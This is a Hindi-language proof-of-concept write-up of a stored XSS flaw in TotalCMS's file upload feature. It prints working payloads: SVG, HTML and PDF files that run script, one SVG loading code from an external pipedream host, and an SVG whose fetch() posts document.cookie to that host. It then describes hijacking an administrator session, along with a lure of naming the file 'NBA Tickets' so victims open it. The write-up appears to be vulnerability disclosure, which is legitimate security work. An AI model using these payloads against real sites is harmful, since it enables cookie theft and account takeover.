
TotalCMS मनमानी फ़ाइल अपलोड - XSS भेद्यता से प्रभावित है, जो संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) और सत्र कुकीज़ चुराने की अनुमति देती है।
विवरण: TotalCMS आर्बिट्ररी फ़ाइल अपलोड - XSS भेद्यता से प्रभावित है, जो क्रॉस-साइट स्क्रिप्टिंग (XSS) और सत्र कुकीज़ चुराने की अनुमति देती है।
आक्रमण वैक्टर: "Total Depot" फ़ाइल अपलोड सैनिटाइज़ेशन में एक भेद्यता आपको छिपे हुए अलर्ट क्रॉस-साइट स्क्रिप्टिंग (XSS) के साथ PDF / SVG / HTML फ़ाइल अपलोड करने और उपयोगकर्ता की कुकीज़ चुराने की अनुमति देती है।
मैं 2 PoC करने जा रहा हूँ:
हम पहले PoC से शुरू करते हैं:
जब हम एडमिन पैनल () में लॉग इन करते हैं, तो हम एडमिनिस्ट्रेशन साइट के "Total Depot" में जाएंगे और छिपे हुए XSS के साथ PDF/ SVG/ और HTML फ़ाइलें अपलोड करेंगे।
हम कुकीज़ चुराने और उन्हें pipedream Request पर भेजने के लिए पेलोड को संशोधित करते हैं, ताकि हम उपयोगकर्ता का रूप धारण कर सकें। अब हम उपयोगकर्ता का रूप धारण करने जा रहे हैं। इसका परीक्षण करने के लिए, हम दूसरे ब्राउज़र में TotalCMS/admin के लिए एक सत्र खोलते हैं और "Cookie Editor" ऐड-ऑन खोलते हैं।पेलोड्स ये हैं:
यह JS2PDFInjector टूल से जनरेट किया गया एक XSS पेलोड है और एक js पेलोड है जिसमें निम्नलिखित सामग्री होती है:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


अपलोड होने के बाद, यदि हम लिंक पर क्लिक करते हैं तो हम देख सकते हैं कि वे किस पथ पर संग्रहीत हैं:

फ़ाइलों का पथ:



और यह तीनों प्रकार की फ़ाइलों की क्रॉस-साइट स्क्रिप्टिंग (XSS) और उपयोगकर्ता की कुकीज़ के साथ परिणाम है:



हम दूसरे PoC के साथ जारी रखते हैं:
हम यह दिखावा करने जा रहे हैं कि हम एक साइबर अपराधी हैं और हम उपयोगकर्ता के सत्र कुकीज़ चुराने जा रहे हैं और उन्हें सर्वर पर भेजा जाएगा।
इस मामले में मैंने एक फ़ाइल को PoC के रूप में अपलोड किया है, लेकिन वास्तविक मामले में, हम एक दिलचस्प नाम "NBA Tickets" वाली फ़ाइल अपलोड कर सकते हैं और उसे प्रकाशित कर सकते हैं, ताकि पीड़ित उपयोगकर्ता फ़ाइल निष्पादित करते समय बिना इसका अहसास हुए मुझे कुकीज़ भेज दे।
सबसे पहले, हम यह देखने के लिए एक परीक्षण करते हैं कि क्या हमारे पास किसी बाहरी सर्वर के साथ संचार है।
पेलोड यह है:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


जैसा कि हम pipedream Request में देखते हैं, हमने सही ढंग से अनुरोध प्राप्त कर लिया है।
पेलोड यह है:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
हम इसे निष्पादित करते हैं:


जैसा कि हम छवि में देखते हैं, हमने उपयोगकर्ता के सत्र कुकीज़ सही ढंग से प्राप्त कर ली हैं।

हम सत्र कुकी को पाइपस्ट्रीम में प्राप्त कुकी में संशोधित करते हैं और सहेजते हैं।

हमने वेबसाइट को पुनः लोड किया और हमने एडमिनिस्ट्रेटर उपयोगकर्ता का रूप धारण कर लिया है।
